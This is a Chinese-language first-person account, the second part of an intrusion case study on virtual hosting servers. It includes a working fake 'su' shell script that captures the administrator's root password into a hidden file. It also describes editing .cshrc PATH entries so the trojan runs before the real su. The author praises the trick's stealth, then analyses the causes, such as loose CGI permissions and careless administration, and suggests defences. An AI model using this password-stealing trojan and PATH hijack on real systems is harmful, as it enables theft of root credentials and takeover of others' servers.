网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。
由一次入侵实例看虚拟主机系统的安全问题(下)
［ 作者：Sinbad转贴自：本站原创点击数：77文章录入：中国之鹰 ］
虽然到目前为止，我事实上已经控制了他所有的UNIX主机，也早就有了root权限，但root的密码我还是不知道，这多少还有点不甘心，怎样来得到这个密码呢？穷举当然是一种，但我就算知道了root密码，也不想要干什么，何必费这么大的劲，所以我决定来一招偷天换日，虽然sysadm很少会从telnet登录，但他总要有登陆的时候的，而且一登陆肯定要干root才干的事，他必须使用su命令让自己成为root，使用su命令的时候当然需要输入root的密码，我就可从这点入手，做一个假的su来欺骗，让他先运行的是我写的su，把他输入的密码保存到一个文件上，即使他的密码是对的，也给他出错提示，然后
删除我的这个su，他再次运行的就是真正的su了。所以我用sysadm登录并写了如下
脚本放在他的用户目录下，文件名为su
%vi su
#!/bin/sh
echo -n "Password:"
stty -echo;read PASSWD;stty echo
echo "$PASSWD">>/tmp/.password
echo;
echo "Sorry"
rm -fr ~/su
:wq
%chmod 755 su
为了让他先运行的是我的su而不是系统的su，还需要改变shell的rc文件，所以打开.cshrc 在
set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~，
即让系统在查找命令时首先查找的是自己的目录，就是放有我写的su的目录，变成这个样子
set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)
因为不知道他会使用那个shell，所以每一个rc文件都做了同样的处理......
最后的结果当然是顺利的取得了root的密码，虽然这个方法看起来很简陋，容易看穿，但事实上却是非常的隐蔽，在一个UNIX系统上，输入密码是连个*都没有给你回显的，管理员去su的时候，一般都是有事，需要很快做好，输错一次密码应该还没感觉过来，就算之后感觉出来了但我这个su又是运行一次就删掉了，不像什么木马后门之类，做完事还大摸大样的留在那里，而rc文件，一般设置完成之后都很少有去看的，大不了我得到密码之后改回来就是了，基本上并没有留下什么痕迹。
实际上，这个入侵的实例，由头到尾都是极为普通的，没有什么高技术的成分，也没有现在人家都喜欢用的什么什么漏洞，什么什么溢出，只是由一个普通用户的弱口令开始，慢慢的发展到了整个主机群被控于一个入侵者的手中，事实上，
操作系统和各种相关服务的本身并没有什么漏洞，问题主要还是发生在CGI程序的编写，维护中的疏忽，管理员对安全问题不敏感这些上。在系统本身的漏洞少这点上，应该可以看出，主机一开始是由一些资深的工程师配置，之后也会根据以发现的漏洞做修补，但在以后的管理过程中，是由下一层技术人员负责，这一层的人往往技术面不广，人家叫干什么就干什么，不会有很大的责任压力，这样就把安全问题越捅越大。如果没有那个备份文件，我根本不能了解那个以root运行的apache的cgi-bin的目录结构和具体的文件名，因为其他人并没有r权限。第二个就是suid为root的程序的写法不够严格(以root运行的apache执行CGI时和suid root是差不多一样的)，在一个虚拟主机上，为了让用户可以通过web界面来管理，不得不让apache以root的身份运行，因为用户的设置，需要改变很多系统的配置文件，如passwd httpd.conf sendmail.cf 等等，虽然apache的suexe提供了比squid更多安全选项如docroot等，但在这里根本就派不上用场。所以这个CGI应该是每一行代码都要知道自己是以root运行的，丝毫不得有差错，但遗憾的是，我见到的大多数服务商的这种CGI都忘记了自己是谁，其写法和普通的CGI类似，创建的文件大多是设置为666，777，而程序本身的属性为755，事实上，当apache加入suexec这个功能后，CGI程序本身设置为700，其他文件为400就可以了，可以做到除了自己，任何人不可以读。如果没有这个属性的问题，在上面的实例中，我也不可能在cgi-bin下面创建文件，让apache去运行，也就无法改变主业，复制文件，修改程序。正是这一步，把整个系统推向了被毁灭的边缘。第三个问题就老生常谈了，人本身的安全意识问题，在几个服务商的主机上都发现了，同一个服务商，它的结构一样的不同的主机，某些目录的权限也不一样，这个很明显是在日常的维护中改变的。在维护过程中，对一些微妙的东西不注意，往往也是危险发生的原因，比如那个su，就这样让我把root密码给偷了去。而上面提及的问题，到头来也是体现在这个问题上，安全似乎没有大小之分，一个大的远程溢出可以让入侵者得到root，但只是一些小小疏忽也可以让入侵者得到root,但大家往往都把注意力集中在一些系统漏洞的修补上，却忽视了某些"小问题"。
在目前的技术水平上实现的虚拟主机，这些问题的出现应该说是在所难免的，因为这涉及到了服务商的整个员工队伍的素质问题，在没有更好的虚拟主机的实现方法之前，如果从技术方面考虑，我觉得应该在权限方面多下功夫，比如用程序隔一定时间（如一小时）检查各个重要的目录、文件是否有被修改，用编译的程序来代替脚本类型的程序等等，说下去又一长篇大论，本人知识水平有限，为了避免在各位高人面前班门弄斧，就此打住。
网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。
关键词：由一次入侵案例看虚拟主机系统的安全问题(下)